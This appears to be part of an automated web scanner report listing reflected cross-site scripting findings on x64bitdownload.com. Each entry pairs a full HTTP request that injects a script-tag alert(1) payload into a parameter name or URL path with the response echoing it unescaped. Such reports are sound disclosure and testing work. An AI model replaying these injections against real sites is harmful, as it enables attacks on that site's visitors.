HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:23 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22rss-feed-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22rss+feed+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93760
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-feed-reader-downloads.html33d26"><script>alert(1)</script>9a97b43768b" /> ...[SNIP]...
4.1600. http://www.x64bitdownload.com/64-bit-rss-feed-reader-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-rss-feed-reader-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f12de"><script>alert(1)</script>770277e5ab7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-feed-reader-downloads.html?f12de"><script>alert(1)</script>770277e5ab7=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22rss-feed-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22rss+feed+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93763
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-feed-reader-downloads.html?f12de"><script>alert(1)</script>770277e5ab7=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2159a"><script>alert(1)</script>7cc8e154fd6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-reader-downloads.html2159a"><script>alert(1)</script>7cc8e154fd6 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99972
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-reader-downloads.html2159a"><script>alert(1)</script>7cc8e154fd6" /> ...[SNIP]...
4.1602. http://www.x64bitdownload.com/64-bit-rss-reader-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-rss-reader-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d02c9"><script>alert(1)</script>494377cbd72 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-reader-downloads.html?d02c9"><script>alert(1)</script>494377cbd72=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99975
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-reader-downloads.html?d02c9"><script>alert(1)</script>494377cbd72=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f19f4"><script>alert(1)</script>42c8e9318d8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-search-downloads.htmlf19f4"><script>alert(1)</script>42c8e9318d8 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:44:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:54:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92023
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-search-downloads.htmlf19f4"><script>alert(1)</script>42c8e9318d8" /> ...[SNIP]...
4.1604. http://www.x64bitdownload.com/64-bit-search-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-search-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bf0d"><script>alert(1)</script>f1422490e1a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-search-downloads.html?4bf0d"><script>alert(1)</script>f1422490e1a=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:53 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:06 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92026
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-search-downloads.html?4bf0d"><script>alert(1)</script>f1422490e1a=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 378a5"><script>alert(1)</script>edb593753a9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-ssl-downloads.html378a5"><script>alert(1)</script>edb593753a9 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87864
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-ssl-downloads.html378a5"><script>alert(1)</script>edb593753a9" /> ...[SNIP]...
4.1606. http://www.x64bitdownload.com/64-bit-ssl-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-ssl-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d45f"><script>alert(1)</script>fb73e15ccb4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-ssl-downloads.html?7d45f"><script>alert(1)</script>fb73e15ccb4=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:36 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87867
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-ssl-downloads.html?7d45f"><script>alert(1)</script>fb73e15ccb4=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42925"><script>alert(1)</script>83516ad106d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-synchronization-downloads.html42925"><script>alert(1)</script>83516ad106d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:32 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90163
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-synchronization-downloads.html42925"><script>alert(1)</script>83516ad106d" /> ...[SNIP]...
4.1608. http://www.x64bitdownload.com/64-bit-synchronization-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-synchronization-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa26d"><script>alert(1)</script>59dfdd435a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-synchronization-downloads.html?aa26d"><script>alert(1)</script>59dfdd435a1=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:08:17 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90166
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-synchronization-downloads.html?aa26d"><script>alert(1)</script>59dfdd435a1=1" /> ...[SNIP]...
4.1609. http://www.x64bitdownload.com/64-bit-synchronize-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-synchronize-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72d90"><script>alert(1)</script>34e92339c0f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-synchronize-downloads.html?72d90"><script>alert(1)</script>34e92339c0f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:08:04 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22synchronize%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22synchronize%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91312
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-synchronize-downloads.html?72d90"><script>alert(1)</script>34e92339c0f=1" /> ...[SNIP]...
4.1610. http://www.x64bitdownload.com/64-bit-troll-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-troll-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2d4c"><script>alert(1)</script>b3d1287dd66 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-troll-downloads.html?b2d4c"><script>alert(1)</script>b3d1287dd66=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:53 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:01 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22troll%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22troll%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28801
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-troll-downloads.html?b2d4c"><script>alert(1)</script>b3d1287dd66=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5baa0"><script>alert(1)</script>4b3b5d06ac5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-use-next-downloads.html5baa0"><script>alert(1)</script>4b3b5d06ac5 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:08 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:32 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22use-next%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22use+next%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60784
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-use-next-downloads.html5baa0"><script>alert(1)</script>4b3b5d06ac5" /> ...[SNIP]...
4.1612. http://www.x64bitdownload.com/64-bit-use-next-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-use-next-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f665d"><script>alert(1)</script>b0fbaf8a5f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-use-next-downloads.html?f665d"><script>alert(1)</script>b0fbaf8a5f3=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22use-next%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22use+next%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60787
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-use-next-downloads.html?f665d"><script>alert(1)</script>b0fbaf8a5f3=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7902c"><script>alert(1)</script>6aa1bdd3d27 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-usenet-c-44-newsgroup-clients-downloads.html7902c"><script>alert(1)</script>6aa1bdd3d27 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-usenet-c-44-newsgroup-clients-downloads.html7902c"><script>alert(1)</script>6aa1bdd3d27" /> ...[SNIP]...
4.1614. http://www.x64bitdownload.com/64-bit-usenet-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2042"><script>alert(1)</script>dcfd4e32e26 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-usenet-c-44-newsgroup-clients-downloads.html?d2042"><script>alert(1)</script>dcfd4e32e26=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37086
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-usenet-c-44-newsgroup-clients-downloads.html?d2042"><script>alert(1)</script>dcfd4e32e26=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9c53"><script>alert(1)</script>61783017a7a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-usenet-downloads.htmlb9c53"><script>alert(1)</script>61783017a7a HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
